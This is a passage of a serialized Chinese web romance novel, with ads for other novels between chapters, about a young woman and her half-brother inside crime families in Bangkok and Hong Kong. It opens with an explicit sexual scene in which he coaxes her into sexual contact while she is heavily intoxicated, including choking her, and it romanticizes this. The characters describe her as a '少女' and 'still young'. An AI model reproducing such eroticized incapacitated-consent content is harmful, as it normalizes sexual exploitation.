  裴司的手指顿住,随即沿着她下颌的线条缓缓下滑,捏住她的下巴,稍稍用力,迫使她转过脸来面对着自己。
  他的视线在她脸上逡巡,从湿润的眼角到泛红的脸颊,最后定格在那两片被酒精和方才的撞击染得愈发嫣红的唇上。
  灯光下,那处红肿和细微的破损显得格外清晰,也……格外诱人。
  一种混合着掌控欲和恶劣趣味的冲动悄然滋生。他俯身,靠得更近,近到能数清她颤抖的睫毛。
  “不是嫌难闻?”他几乎是贴着她的唇瓣低语,温热的气息交织在一起,“现在呢?还有没有别人的味道?嗯?”
  他的声音压得很低,像带着钩子,每一个字都敲在她混沌的神经上。温梨迷茫地睁了睁眼,酒精让她的视线无法聚焦,只能感受到他迫人的气息和唇上传来的、被他指腹摩挲过的微刺感。
  她似乎努力想分辨他在说什么,鼻翼轻轻翕动,像只懵懂的小动物。然后,大概是本能觉得眼前的“东西”让她安心又或者单纯是渴求清凉,她居然微微仰起下巴,主动将红肿的唇瓣更送上去一些,无意识地蹭了蹭他的嘴角。
  这一个细小而依赖的动作,像一根羽毛,轻轻搔过裴司心底最隐秘的角落。
  裴司的眸色骤然转深,像泼翻了墨砚,浓得化不开。在她无意识地用红肿唇瓣蹭过他唇角后,他非但没退开,反而就着这个极近的距离,喉结滚动,嗓音压得更低,带着蛊惑人心的哑。
  “还有没有别人的味道?嗯?”
  温梨似乎被这低沉的声音牵引,湿漉漉的睫毛颤了颤,鼻翼真的轻轻翕动,像只分辨气味的小动物,慢吞吞地在他唇周嗅了嗅。酒精让她的思维迟滞,感官却似乎被放大,萦绕在鼻端的全是那股熟悉的、带着烟草和雪松的凛冽气息。
  她脑袋昏沉,迟缓地摇了摇头,可马上又像是想到什么,迟疑着点了点头,眼神里全是茫然的困惑,仿佛被这个问题彻底难住了。
  裴司看着她这副完全被酒精拿捏、乖顺又迷糊的模样,眼底掠过一丝极深的暗芒。他拇指的指腹恶劣地蹭过她下唇那处细微的破口,带来一阵轻微的刺痛和过电般的麻痒。
  “摇头又点头……”他低笑,气息拂过她敏感的上唇,“到底有没有?”
  温梨被他蹭得轻轻“嘶”了一声,眉头委屈地蹙起,似乎不满他的作弄,下意识地想抿唇,却被他手指阻着。
  裴司俯得更低,鼻尖几乎要碰上她的,目光锁住她那两片被蹂躏得嫣红肿胀的唇瓣,声音喑哑。
  “光闻怎么够?”他诱哄着,带着不容抗拒的意味,“舔一下……不就知道了?”
  这句话像带着钩子,直直钻进温梨被酒精浸泡得混沌的脑海。她迷茫地看着近在咫尺的薄唇,看着他嘴角那处被她撞破的、已经凝起一点暗红的小伤口,鬼使神差地,竟真的微微探出一点嫣红的舌尖,怯生生地、小心翼翼地碰了上去。
  舌尖传来的触感温热,带着极淡的血腥味,和她唇上的肿痛奇异地相似,却又混着他独有的、令人心悸的气息。
  裴司的呼吸骤然粗重了几分,那一点湿软怯生的触碰像燎原的火星,瞬间点燃了他压抑的燥热。他喉结重重滚动,箍在她腰后的手臂肌肉绷紧。
  “嗯?”他逼问,气息灼烫地拂过她唇齿,“尝出来没有?”
  温梨被这过于逼近的压迫感和唇上陌生的触觉弄得更加迷糊,她迟缓地眨了眨眼,眼底水光潋滟,乖乖地摇了摇头。酒精麻痹了神经,她只觉得那处温热带着点说不清道不明的刺激,让她本能地想要更多,却又不知该如何索取。
  “没有?”裴司低笑一声,那笑声里带着浓浓的欲望和一丝不易察觉的恶劣。他拇指再次抚过她下唇,力道稍稍加重,揉按着那柔软的唇瓣,“可能……一下尝不出来。”
  他低头,高挺的鼻梁蹭过她的鼻尖,两人呼吸彻底交融。
  “再试试。”他命令道,声音低沉而充满诱惑,如同恶魔的低语,“仔细点……舔。”
  温梨迷迷糊糊地,像只懵懂的小猫试探着喝水,湿软的舌尖依言再次探出,笨拙地、毫无章法地舔舐着他的唇。
  一下,轻轻擦过他线条清晰的上唇。
  又一下,落在微抿的下唇中央。
  再一下,歪歪斜斜地滑向唇角,蹭过那处结着细微血痂的小伤口。
  她的动作生涩得可怜,全凭着他那句“再试试”的命令和身体里被酒精催生出的模糊本能驱动,毫无技巧可言,甚至带着点不知所措的慌乱。湿润的触感星星点点地落在裴司唇上,像羽毛最细微的绒尖搔刮。
  裴司的呼吸彻底沉了下去,眸色暗得骇人,不再满足于这隔靴搔痒般的触碰。
  他的声音哑得可怕,每一个字都浸满了压抑的欲念:“还是……没尝出来?”
  温梨已经连摇头的力气都没有了,酒精和方才那阵笨拙的舔舐耗光了她最后一丝清明,只是软软地靠在他臂弯里,眼神涣散,唇瓣微张,小口小口地喘着气,那红肿的痕迹在灯光下显得愈发楚楚可怜。
  裴司根本不在意她的回答,他俯身,薄唇几乎贴上她的,灼热的气息交织,带着不容抗拒的诱惑,低声哄骗:“乖,把嘴巴……再张开一点。”
  他的指腹在她下颌轻轻施加压力,带着一种引导的意味。
  “舌头……”他的声音压得更低,如同最隐秘的耳语,带着令人战栗的承诺,“伸出来一点。”
  “二哥……会让你尝到的。”
  温梨的大脑早已被酒精泡得一团混沌,根本无法思考这些话里深藏的危险和暗示。只是他那低沉而熟悉的声音,带着一种奇异的安抚和命令,让她下意识地、全然信赖地遵循。
  她浓密的睫毛颤了颤,像是耗尽了力气般,终于将微张的唇瓣又松开些许,露出一线洁白的齿关和更深处柔软的舌尖轮廓。那一点嫣红怯生生地探出些许,仿佛无声的邀请,全然信赖地,将自己交付出去。
  裴司眸色骤然暗沉,低头便精准地含住了那一点怯生生探出的嫣红舌尖。
  湿软滑腻的触感刚落入掌控,温梨便像是受惊般,喉咙里溢出一声模糊的呜咽,下意识地就要缩回去。
  “唔……”
  裴司哪容她退缩。箍在她腰间的手臂猛地收紧,另一只原本撑在她身侧的手掌骤然上移,虎口精准地卡上她纤细的脖颈,力道不轻不重,却带着不容置疑的掌控意味,微微收拢。
  温梨呼吸一窒,脖颈处传来的压力并不疼痛,却带着一种奇异的、令人心悸的威慑。她混沌的意识被这突如其来的束缚感惊扰,那试图逃窜的舌尖非但没能缩回,反而在轻微的窒息感和本能寻求氧气的驱使下,下意识地、轻轻地往上抵了抵,像是无助的试探,又像是在主动回应他那滚烫的唇舌。
  这细微的、近乎献祭般的回应瞬间点燃了裴司眼底最后一丝理智。
  他喉间发出一声低沉的、近乎满足的喟叹,含吮的力道加重,舌尖霸道地缠卷上去,肆意品尝她口腔里残留的酒甜与独有的清甜。
  与此同时,他抽出了垫在她腰后的那只手臂。手掌带着灼人的温度,沿着她身体的曼妙曲线缓缓向上游移,丝绸睡裙的布料被揉出暧昧的褶皱。指腹隔着薄薄的衣料,精准地擦过她腰侧敏感的肌肤,感受着她细微的颤栗,最终,一把覆上她胸前一侧小巧柔软的浑圆。
  掌心下的乳肉绵软而富有弹性,恰好填满他的掌控。他毫不客气地收拢手指,带着几分力道揉捏起来,指节恶意地隔着内衣蹭过顶端那枚悄然硬挺的乳头。
  “嗯……”
  一阵陌生的、强烈的酥麻感瞬间窜遍全身,温梨无意识地从嘴角溢出一声短促而甜腻的呻吟,身体像过电般轻颤起来,被吮吸的舌尖都软了几分。
  这声无意识的嘤咛,像最烈的催情药,狠狠撞在裴司紧绷的神经上。
  他胯间本就半硬的性器几乎是瞬间勃起胀大,硬生生将西裤顶出惊人鼓胀的轮廓,滚烫的硬度隔着几层布料,沉沉地抵在温梨柔软的小腹上。

我有九千万亿舔狗金
番茄第一帅哥
舔一个女神,你就是舔苟。舔一百个女神,一百个女神就是你的舔苟。陈远,一个普通的大三学生,开局被甩,觉醒终极舔苟系统,获得舔苟金九千万亿。一条终极舔王的故事,由此展开····· ...

晴空万里 / 发表于: 2025/10/13 07:50:28

30 表演
  温梨醒来时,天光已大亮,曼谷的阳光透过厚重的窗帘缝隙,撒在地毯上。
  宿醉的钝痛像潮水般一阵阵漫过后脑,她揉着太阳穴坐起身,丝滑的薄被从身上滑落,带来一丝凉意。
  她低头发现自己竟一丝不挂,肌肤接触到微凉的空气,激起细小的疙瘩。
  昨晚那些破碎的、令人面红耳赤的画面还在眼前,她如何缠着裴司要他抱,如何与他唇舌交缠,那灼热的触感,那双在她身上游走的大手,还有那抵在她腿间的……
  “轰”的一下,血液全涌上了脸颊和耳朵,烧得她心慌意乱。
  床边椅子上,整齐地迭放着一套崭新的连衣裙,领口缀着细小的珍珠扣,旁边还放着配套的内衣裤。
  她几乎是手忙脚乱地抓过衣服穿上,慌乱地跑进浴室,她用冷水反复拍打脸颊,试图压下那阵臊热。
  镜中的少女眼波流转,唇瓣似乎还有些微肿,带着一种她自己都陌生的、被狠狠疼爱过的媚意。
  疯了……真是疯了……
  虽然只是同父异母,可那好歹……也是有血缘关系的哥哥啊!自己昨晚怎么会……
  感觉就像是一场荒唐又炙热的春梦,可身体残留的微妙酸软和记忆里清晰的触感,却又无比真实地提醒着她,那并非梦境。
  她深吸几口气,努力平复狂跳的心,才故作镇定地拉开房门。
  阿彪果然像尊门神似的守在门外,见她出来,立刻躬身:“大小姐早,老大说您醒了就带您去餐厅。”
  温梨点点头,跟在阿彪身旁。
  酒店餐厅环境雅致,这个时间点人并不多,阿彪引着她走向靠窗的位置。
  然后,温梨的脚步几不可察地顿了一下。
  裴司就坐在那里。
  他今天罕见地没穿那身西装,而是换了一身浅色的度假衫,领口随意松开两颗纽扣,露出小片结实的胸膛和锁骨,袖口挽至手肘,露出一截劲瘦的小臂。
  他斜倚在椅背上,一只手随意翻着桌上的英文报纸,另一只手端着咖啡杯,氤氲的热气模糊了他轮廓,整个人透着一股慵懒又闲适的雅痞味,与平日那种冷硬逼人的气势截然不同。
  晨光透过巨大的落地窗落在他身上,将他整个人笼罩在一层柔和的光晕里,连侧脸的线条似乎都软化了几分。
  温梨的心跳没来由地漏了一拍,随即又更快地鼓噪起来。昨晚就是用那双看着报纸的、骨节分明的手,在她身上……
  她的眼神闪烁,慌忙移开视线,耳根不受控制地又开始发烫,连走向他的脚步都显得有些僵硬。
  温梨坐在餐桌前,指尖无意识地摩挲着咖啡杯边缘,目光时不时地偷瞄对面的裴司。
  他慢条斯理地切着盘中的煎蛋,动作优雅,仿佛昨晚什么都没发生过。
  温梨心里莫名有些发堵,低头搅着碗里的粥,却没什么胃口。
  “不合口味?”裴司突然开口,声音低沉,带着晨起的微哑。
  温梨猛地抬头,正对上他深邃的目光,心跳骤然加快,耳根发烫:“没、没有……”
  裴司唇角微勾,没再多问,继续低头用餐。
  温梨咬了咬唇,心里那股说不清道不明的情绪更浓了,他怎么能这么若无其事?
  昨晚……昨晚明明……
  她越想越气闷,索性放下勺子,赌气似的盯着窗外。
  裴司抬眸瞥了她一眼,眼底闪过一丝不易察觉的笑意,却也没说什么。
  早餐在沉默中结束。
  裴司放下餐巾,起身往外走,连句“去哪儿”都没交代。
  温梨愣了一瞬,心里那股委屈和失落瞬间放大。
  她攥紧了裙摆,犹豫片刻,最终还是快步追了上去,一把挽住他的手臂。
  “二哥……”她声音软软的,带着点撒娇的意味,“我们去哪儿?”
  裴司脚步一顿,侧眸看她,眼底带着几分戏谑:“怎么?怕我又去谈生意?”
  温梨脸一红,想起昨晚自己醉醺醺地跑去酒吧找他,还……还那样缠着他……
  她羞恼地瞪他一眼,却见他唇角笑意更深,慢悠悠地补了一句:“放心,今天带你看泰国的特色表演。”
  “昨天不让我做生意,那今天看表演总行了吧?”
  温梨一愣,随即反应过来他是在拿昨晚的事打趣她,顿时又羞又气,恨不得踩他一脚。
  “小气鬼!”她在心里暗骂,可那股莫名的委屈和失落却莫名消散了,取而代之的是一丝隐秘的开心和兴奋。
  她挽着他的手臂不自觉地收紧了些,唇角微微翘起:“那……那走吧。”
  裴司低笑一声,任由她挽着,迈步朝酒店外走去。
  黑色奔驰在曼谷街头穿行,手指还勾着他的袖口。
  二哥,我们还要在泰国待多久?她仰着脸问,声音里带着点撒娇的意味。
  裴司抽出手臂,转而搭在她肩上,将她往怀里带了带:怎么,不耐烦了?
  温梨摇了摇头,发丝蹭过他的下巴,她只是怕哪天裴司真带她去杀人,她还没做好心理准备呢。上次在船上遇袭,就够吓人了。
  车子停在一栋挂着霓虹灯牌的建筑前,泰文和英文混杂的招牌闪烁着成人秀的字样。
  温梨瞪大了眼睛,这、这哪是什么正经表演!
  裴司揽着她往里走,温梨耳根发烫,这种地方她连听都没听过,更别说来了。
  昏暗的表演厅里,暧昧的红色灯光在舞台上流转。
  温梨坐在卡座里,手指紧紧攥着裙摆,眼睛却不受控制地往台上瞟。那对男女的表演尺度大得惊人,女舞者穿着几乎透明的纱裙,正跨坐在男舞者腰间扭动,动作露骨得让她耳根发烫。
  好好学着点。裴司突然凑到她耳边低语,灼热的呼吸拂过她敏感的耳廓。
  温梨浑身一颤,昨晚的记忆瞬间涌上来,她下意识夹紧了双腿,裙摆摩擦着肌肤,带来一阵细微的酥麻。舞台上女舞者的呻吟声传入耳中,不知怎么的,她竟自动代入了昨晚自己发出的声音。
  裴司斜倚在沙发上,目光从舞台移到她泛红的耳尖,又落到她无意识绞紧的双腿上。他唇角微勾,这小东西,明明记得一清二楚。
  他心情颇好地抿了口威士忌,没再逗她。毕竟昨晚已经把人欺负得够呛,今天再逗狠了,怕是要炸毛。
  温梨偷偷瞥了他一眼,见他没再说什么,这才松了口气,可身体里那股莫名的燥热却怎么也压不下去。舞台上的表演越来越露骨,她的思绪却越来越飘忽,满脑子都是昨晚他低沉的喘息和滚烫的体温......
  昏暗的灯光下,舞台上那对男女的表演越发露骨,女舞者几乎半裸着跨坐在男舞者身上扭动,台下口哨声此起彼伏。
  裴司懒散地靠在卡座里,长腿交迭,修长的手指漫不经心地转着威士忌杯。他唇角噙着若有似无的笑,目光落在舞台上,却连半分情动的迹象都没有,仿佛只是在看一场再普通不过的表演。
  温梨偷偷瞄了他一眼,心里莫名发闷。
  音乐震耳欲聋,她借着这个由头,装作听不清的样子,悄悄往他那边挪了挪。
  二哥......她凑近他耳边,呼吸不自觉地放轻,这种表演......都是真的还是假的?
  她的声音又软又糯,带着点刻意的天真,可问出来的问题却直白得惊人。那些男女演员看起来简直要在台上做起来了,动作露骨得让她耳根发烫。
  裴司侧眸看她,昏暗的灯光下,她睫毛轻颤,脸颊泛着淡淡的红晕,故作镇定却又掩不住好奇的样子。
  裴司低笑一声,喉结滚动间带着几分危险的蛊惑:想知道?
  温梨对上他深邃的眼眸,舞台的霓虹灯光在他轮廓分明的侧脸上投下变幻的阴影。她心跳漏了半拍,迟疑片刻后轻轻点了点头。
  等会你就知道了。他意味深长地勾起唇角,转头重新看向舞台。
  女演员的呻吟声突然拔高,几乎盖过了震耳欲聋的电子音乐。她跨坐在男演员腰间,薄纱裙摆早已滑落,随着夸张的扭腰动作,在聚光灯下露出大片晃眼的肌肤。
  台下爆发出一阵口哨和起哄声,温梨却只听见自己剧烈的心跳。
  她下意识往裴司身边又靠了靠,裙下的膝盖不经意蹭到他的西裤。
  舞台上那对演员的动作越来越露骨,女演员仰着头发出尖锐的叫声,可温梨满脑子都是裴司那句等会你就知道了,连耳尖都烫得厉害。
  舞台上的呻吟浪语渐渐模糊成背景噪音,温梨的目光被角落卡座吸引,那个穿着艳俗花衬衫、点头哈腰给几个欧美面孔点雪茄的中年男人,是在何家酒会上见过的猜旺将军。
  二哥,你看那边......她晃了晃裴司的手臂,声音压得极低。
  裴司懒懒瞥过一眼,仿佛早就料到般轻嗤:何伟雄养在泰国的看门狗,倒是会找地方摇尾巴。
  猜旺正殷勤地替客人斟酒,凸起的肚腩将花衬衫撑得紧绷,全然不见昨晚穿着军装时的威风。几个穿着清凉的舞女被他招手唤来,像分礼物般推到客人怀里。
  这儿的演员...裴司突然俯身靠近,温热的唇几乎擦过她耳垂,都是他拿来招待'贵客'的伴手礼。
  舞台上那个表演高抬腿的女演员,此刻正被猜旺掐着腰推向某个秃顶洋人。
  猜旺谄笑着搓手倒退时,视线突然与裴司撞个正着。他脸色骤变,慌忙举起酒杯示意,额头在旋转彩灯下泛出油光,裴司却只漫不经心晃着威士忌杯。
  走吧。裴司突然起身,阴影完全笼罩住温梨,再看下去,某些人该睡不着觉了。

史上最强炼气期
李道然
修炼了将近五千年的方羽,还是没有突破炼气期……“我真的只有炼气期,但你们别惹我!”

晴空万里 / 发表于: 2025/10/13 07:50:41

31 交锋
  裴司伸手握住温梨的手,宽大的掌心将她纤细的手指完全包裹。温梨抬头看他一眼,逆着光,她看不清裴司的表情,只能看到他轮廓分明的下颌线条和微微上扬的唇角。
  她心跳顿时乱了节奏,眼神闪烁地回握住他的大手,指尖无意识地在他掌心的薄茧上轻轻摩挲了一下,又像被烫到般迅速蜷缩起来。不自然地移开视线,微微低着头,耳根悄悄爬上一抹红晕。
  裴司看着她羞怯的样子,笑意深了些。只是收紧了手指,将她的小手牢牢扣住,带着她穿过昏暗嘈杂的表演厅。
  街边小贩的叫卖声、突突车的引擎声、路人的谈笑声,全都成了模糊的背景音。温梨只听见自己急促的呼吸和胸腔里如擂鼓般的心跳。
  门口车旁,阿彪看着两人欲言又止。大小姐低垂着头,耳尖泛着可疑的红晕,而自家老大嘴角噙着罕见的笑意,显然心情极好。阿彪识相地低下头,装作什么都没看见,迅速拉开车门。
  黑色奔驰缓缓驶入曼谷喧嚣的街头。
  温梨和裴司分坐在后排两侧,中间却横着两只紧握的手。午后的阳光透过车窗洒落,在座椅上投下斑驳的光影。
  温梨偏头望着窗外,睫毛在阳光下轻颤。她看似专注地欣赏着街景,实则连路边金碧辉煌的大皇宫都没看进去半分。裴司干燥温热的掌心正包裹着她的手指,拇指时不时无意识地摩挲她虎口处细嫩的肌肤。
  裴司漫不经心地想,若是昨晚真操进去了...依她这性子,怕是会吓得连夜逃回香港。
  不过现在这样也好,逗弄起来更有趣。
  车子突然被前方横插而来的黑影截停,轮胎摩擦地面发出刺耳的声响。
  阿彪迅速拔枪下车,却见对面车门打开,温慕云一身剪裁考究的白色西装缓步走来,金丝眼镜在阳光下泛着冷光。
  大哥!温梨惊呼一声,猛地抽回被裴司握着的手。
  裴司不悦地睁开眼,还未开口,就见身旁的少女已经推开车门,扑进了温慕云怀里。
  裴司眯起眼睛,看着温梨纤细的背影完全埋入那个白色身影的怀抱。她仰起的小脸上满是惊喜,发丝在风中轻扬,方才与他十指相扣的手此刻正紧紧攥着温慕云的衣襟。
  温慕云单手搂着妹妹的肩,镜片后的目光越过她的发顶,与车内的裴司隔空相撞。两个男人的视线在燥热的空气中无声交锋,一个温润如玉却暗藏锋芒,一个慵懒随性却戾气暗涌。
  温梨没想到会在这里见到大哥,心里的喜悦不言而喻。温慕云温柔地揉了揉她的发顶,金丝眼镜下的目光柔和:这几天陪二哥应酬累不累?
  温梨笑着摇头,撒娇道:大哥,我已经长大了,又不是以前在宴会上闹着要回家的小女孩了。
  温慕云刚要开口,身后车门砰地一声关上。裴司慢悠悠地走过来,唇角挂着似笑非笑的弧度:大哥来得真快,看来是等不及了?
  他语气戏谑,眼神却深不见底,话里藏着只有他们才懂的暗涌。
  温慕云镜片后的眸光微闪,笑意不变:自家妹妹,自然挂念。
  裴司低笑一声,目光扫过温梨仍拽着温慕云衣角的手,慢条斯理道:也是,毕竟有些事……急不得。
  温梨眨了眨眼,总觉得两人话里有话,却又听不出其中深意。温慕云没理会裴司的暗讽,只是温柔地替她挡了挡阳光:阿梨,先去车上坐着,我和阿司谈点事。
  见温梨乖乖上了自己的车,温慕云脸上的温和瞬间褪去。他抬手推了推金丝眼镜,镜片后的目光冷冽:阿司,阿梨还小。
  裴司单手插兜,闻言轻笑一声:大哥这话说的,我还能吃了她不成?他意有所指地看了眼温慕云身后的车子,倒是大哥,大老远从澳门追来曼谷,是不是太心急了?
  温慕云神色更冷:有些线,越了就是越了。他压低声音,你要做什么,我们兄弟可以关起门来解决,别把阿梨卷进来。
  裴司把玩着手中的打火机,金属盖开合间发出清脆的声响:大哥这么紧张......该不会是怕我查出什么吧?
  温慕云神色不变,我温家生意向来合法合规,经得起查。他话音一转,倒是阿司
  温慕云目光落在裴司把玩的打火机上,意有所指:最近香港码头那批苏联人的货,动静不小。他微微一笑,这种生意,还是谨慎些好。
  裴司指间翻转的打火机蓦地一顿,金属外壳咔地合上。他掀起眼皮,似笑非笑:大哥消息倒是灵通。
  温慕云整了整袖口,语气温和却字字锋利:自家兄弟,总要互相照应。

新婚夜,植物人老公忽然睁开眼
简默
父亲公司濒临倒闭,秦安安被后妈嫁给身患恶疾的大人物傅时霆。所有人都等着看她变成寡妇,被傅家赶出门。 不久,傅时霆意外苏醒。 醒来后的他,阴鸷暴戾:“秦安安,就算你怀上我的孩子,我也会亲手掐死他!”

晴空万里 / 发表于: 2025/10/13 07:50:49

32 春心萌动
  裴司唇角微勾,目光掠过温慕云身后那辆黑色轿车,隐约可见温梨正趴在车窗上好奇地张望。
  大哥这么关心我的生意,不如先操心操心菲律宾的账目?他慢条斯理地开口,声音里带着几分漫不经心的试探,听说马尼拉那边,最近查得挺严。
  温慕云镜片后的眸光微闪,面上却依旧从容:生意上的事,自有父亲定夺。阿梨年纪小,不该掺和这些。
  裴司低笑一声,单手插在西裤口袋里,姿态慵懒:义父让我好好照顾阿梨,我自然尽心。毕竟,报酬很丰厚。
  温慕云闻言,只是淡淡一笑:家里的东西,父亲要怎么分给几个弟弟,那都是应该的。
  阿梨从小被家里保护得好,不懂这些弯弯绕绕。阿司,有些事不该拿她作筹码。
  裴司闻言低笑,眼底带着几分玩味:大哥这话说的,倒像是我在欺负人。
  阿司,这些天多谢你照顾阿梨。温慕云拍了拍裴司的肩,不再接话,转身拉开车门,语气平静,我先带她回香港,父亲很挂念。
  车子掉头汇入曼谷的车流,很快消失在视野尽头。
  裴司站在原地,脸上那点若有似无的笑意彻底冷了下来。他掏出烟盒,抖出一根叼在唇间,“咔哒”一声点燃打火机,橘红的火苗蹿起,映亮他眼底深沉的晦暗。
  温慕云的人从那天晚上酒店窗台被撬开始,就像跗骨之蛆一样盯着他们。昨晚帕蓬酒吧里那几个看似寻常的酒客,今天表演厅角落里那个一直低着头的侍应生,都是这位好大哥的眼线。
  他深吸一口烟,辛辣的烟雾滚过肺腑。温慕云来得这么快,借口接妹妹回香港,无非是怕他借着带温梨“度假”的名头,在泰国这条何家的地盘上,查出些不该查的东西,或者……谈些不该谈的生意。
  毕竟,菲律宾那条“水上通道”的利润,足以让任何所谓的“兄弟情谊”变得脆弱不堪。
  烟雾袅袅中,裴司眯起眼。温慕云想把温梨干干净净地摘出去,护在他的羽翼之下,继续当他无忧无虑的小公主。
  可惜了。
  他裴司看中的东西,从来没有轻易放手的道理。温家这潭水,既然已经搅浑了,谁也别想独善其身。
  他拿出手机,拨通一个号码。
  “阿龙,温慕云今天会带着大小姐回香港,让人跟紧大小姐。”他顿了顿,指尖弹了弹烟灰,“另外,查清楚温慕云在曼谷还见了谁,特别是……和何家有没有私下接触。”
  挂了电话,他将烟头碾灭在路边的垃圾桶上,嘴角勾起一丝弧度。
  温梨坐在温慕云的车里,车窗外的曼谷街景飞速掠过。她侧头看着大哥熟悉的侧脸,金丝眼镜下那双温和的眼睛,一如既往地让她感到安心。
  “大哥,你怎么突然来泰国了?”她眨了眨眼,语气里带着几分撒娇的意味,“爹地身体还好吗?还有...关姐姐最近好吗?你们在澳门是不是很忙?”
  温慕云微微一笑,伸手揉了揉她的发顶:“爹地很好,关小姐也很好。”他顿了顿,镜片后的目光柔和,“我们在澳门是有些事要处理,但爹地更担心你。你跟着阿司到处跑,他怕你累着。”
  温梨撇了撇嘴,小声嘟囔:“我又不是小孩子了……”
  温慕云低笑一声,没接话,只是从西装口袋里掏出一盒包装精致的巧克力,递给她:“喏,你最喜欢的瑞士巧克力,关小姐特意提醒我给你带的。”
  温梨眼睛一亮,立刻接过来拆开,甜腻的香气在车厢里弥漫。她咬了一小口,满足地眯起眼,像只偷到鱼的小猫。
  “谢谢大哥!也替我谢谢关姐姐!”她笑眯眯地说道,又往嘴里塞了一颗,腮帮子鼓鼓的,含糊不清地问,“对了,二哥他……是不是因为何家的事,才要留在泰国忙?”
  温慕云镜片后的眸光几不可察地闪动了一下,语气依旧温和:“生意上的事,你不用操心。”他顿了顿,意有所指地补充道,“阿司…他自然有他的事要处理。”
  温梨“哦”了一声,没再多问,只是低头捏着巧克力的包装纸,指尖无意识地折来折去,心思似乎飘远了片刻。
  温慕云看着她这副模样,轻轻叹了口气,半真半假地调侃道:“看来大哥已经不是阿梨心里最要好的哥哥了。阿司只是带着你玩了几日,阿梨就向着他,问东问西,还替他操心。往后这么下去,恐怕阿梨心里再也没大哥的位置了。”
  温梨一听,立刻抬起头,腮帮子还鼓着,急切地反驳,带着少女特有的娇憨和认真:“才不是呢!大哥你乱讲!二哥是二哥,大哥是大哥!在我心里,永远永远都是和大哥最好!谁都比不了!”
  她甚至放下巧克力,伸手去拽温慕云的袖子轻轻晃着,像是在加强自己话语的可信度,眼神亮晶晶的,写满了“你快收回这句话”的着急。
  温慕云看着她急切表忠心的模样,眼底掠过一丝笑意。他反手轻轻拍了拍她的手背,语气温和:“好好好,大哥知道了,阿梨和大哥最好。快坐好,要下车了。”
  温梨这才心满意足地坐回去,她拎起小包,准备下车。
  温慕云替她拉开车门,温梨跳下车,抬头看了看湛蓝的天空,曼谷湿热的风拂过脸颊,带来一丝热带独有的气息。
  “走吧,回家了。”温慕云轻轻拍了拍她的肩膀,声音温和。
  温公馆的雕花铁门缓缓打开,黑色轿车驶入庭院。
  温梨一下车,就看见六姨太方韵站在门廊下,一袭墨绿色旗袍勾勒出窈窕身段,指尖夹着一支细长的女士烟,烟雾缭绕间,那双狐狸似的眼睛微微眯起,带着几分慵懒的笑意。
  阿梨回来啦?方韵红唇轻启,声音里带着熟稔的调侃,跟着裴生玩得开心吗?曼谷的夜市逛了没?
  温梨刚要回答,温慕云已经不动声色地往前半步,将她半掩在身后。他抬手推了推金丝眼镜,镜片后的目光平静却带着几分疏离:六姨,阿梨刚下飞机,让她先回房休息。
  方韵挑了挑眉,目光在兄妹二人之间转了一圈,红唇微勾:大少爷这是怎么了?我不过是想问问阿梨玩得高不高兴。她转向温梨,语气亲昵,阿梨,六姨让人炖了雪梨汤,待会儿给你送上去?
  温梨正要点头,温慕云已经淡淡开口:不必了,阿梨最近肠胃不适,不适合吃甜腻的东西。
  方韵脸上的笑容僵了一瞬,随即若无其事地掸了掸烟灰:大少爷倒是比我这个当妈的还上心。
  温慕云没再接话,只是轻轻揽过温梨的肩膀,带着她往主楼走去。温梨回头冲方韵歉意地笑了笑,小声说了句谢谢六姨。
  等走远了些,温梨忍不住小声问:大哥,你怎么对六姨这么冷淡?
  温慕云脚步未停,声音平静:有些人表面亲近,未必真心。
  温梨抿了抿唇,没再说话。她怎么觉得大哥这次回来,对谁都很警惕,连带着她也跟着紧张起来。
  回到自己房间,温梨关上门,终于彻底放松下来。她扑到床上,抱着柔软的枕头蹭了蹭。
  电话铃声突兀地响起,温梨从床上爬起来,伸手去够床头柜上的电话。
  喂?她将听筒贴在耳边,电话那头却迟迟没有声音,只有轻微的电流杂音。
  温梨皱了皱眉,又喂了一声,还是没人应答。她正要挂断,心里却莫名一动,指尖微微收紧,试探性地小声唤道:……二哥?
  电话那头传来一声低笑,低沉磁性,带着几分慵懒的戏谑:这么想我?一猜就中。
  温梨耳根一热,手指无意识地绞着电话线,声音不自觉地软了几分:谁、谁想你了……
  裴司靠在酒店套房的落地窗前,指尖夹着一支烟,烟雾在夜色中袅袅升起。他听着电话那头温梨带着几分娇嗔的声音,唇角微勾。
  到家了?他明知故问,声音里带着几分漫不经心。
  嗯……温梨轻轻应了一声,声音软糯,刚回来没多久。
  裴司听着她这娇娇怯怯的语调,眼底暗了暗。他弹了弹烟灰,故意逗她:怎么?你大哥接你回去,不高兴?
  没有!温梨下意识反驳,随即又觉得自己反应太大,声音又低了下来,就是……就是有点突然。
  裴司低笑一声,没接话。电话里一时安静下来,只剩下彼此的呼吸声。温梨心跳莫名加快,手指紧紧攥着电话线,不知道该说什么,却又舍不得挂断。
  二哥……她犹豫了一下,小声问,你什么时候回香港?
  裴司眯了眯眼,吐出一口烟圈,声音低沉:怎么?想让我早点回去?
  温梨脸颊发烫,支支吾吾道:我、我就是随便问问……
  裴司听着她这欲盖弥彰的回答,心情莫名愉悦。他掐灭烟头,声音里带着几分诱哄:乖,等我回去。
  温梨心跳漏了一拍,还没来得及回应,电话那头已经传来咔哒一声轻响,他挂断了。
  她握着听筒愣了几秒,才缓缓放下,指尖还残留着电话线的余温。她抿了抿唇,心里莫名涌上一丝失落,却又隐隐期待着他回来。
  窗外,香港的夜色渐深,霓虹灯在玻璃上投下斑驳的光影。温梨躺回床上,翻了个身,将脸埋进被子里,唇角却不自觉地微微翘起。

冰山女神的小医神
十指舞动
乡村小神医相亲比自己大三岁的高冷女总裁被嫌弃,没想到进入校园之后,凭借神乎其技的医术,却得到各种美女的青睐。迷糊小仙女:哥哥,我肚子疼!…… ...

晴空万里 / 发表于: 2025/10/13 07:50:59

33 陷害
  帕蓬酒吧的霓虹灯在夜色中闪烁,将整条街染成暧昧的紫红色。
  裴司推开酒吧大门时,阿媚正倚在吧台边,指尖夹着一支细长的女士烟。她今天穿了件黑色蕾丝吊带裙,领口低得几乎裹不住那对浑圆,红唇在烟雾中若隐若现。
  裴生~她眼睛一亮,扭着腰肢迎上来,涂着鲜红指甲油的手指顺势搭上他的手臂,我就知道您今晚会来。
  裴司没躲,任由她贴着,目光淡淡扫过她刻意低垂的领口。阿媚身上那股甜腻的香水味混着烟酒气扑面而来,和某个带着荔枝香的小醉鬼截然不同。
  索温告诉你的?他漫不经心地问,指尖在吧台上轻叩两下,酒保立刻会意,推来一杯加冰的威士忌。
  阿媚娇笑着凑近,红唇几乎贴上他耳廓:您上次走得急,我新学的按摩手法都没机会展示呢......
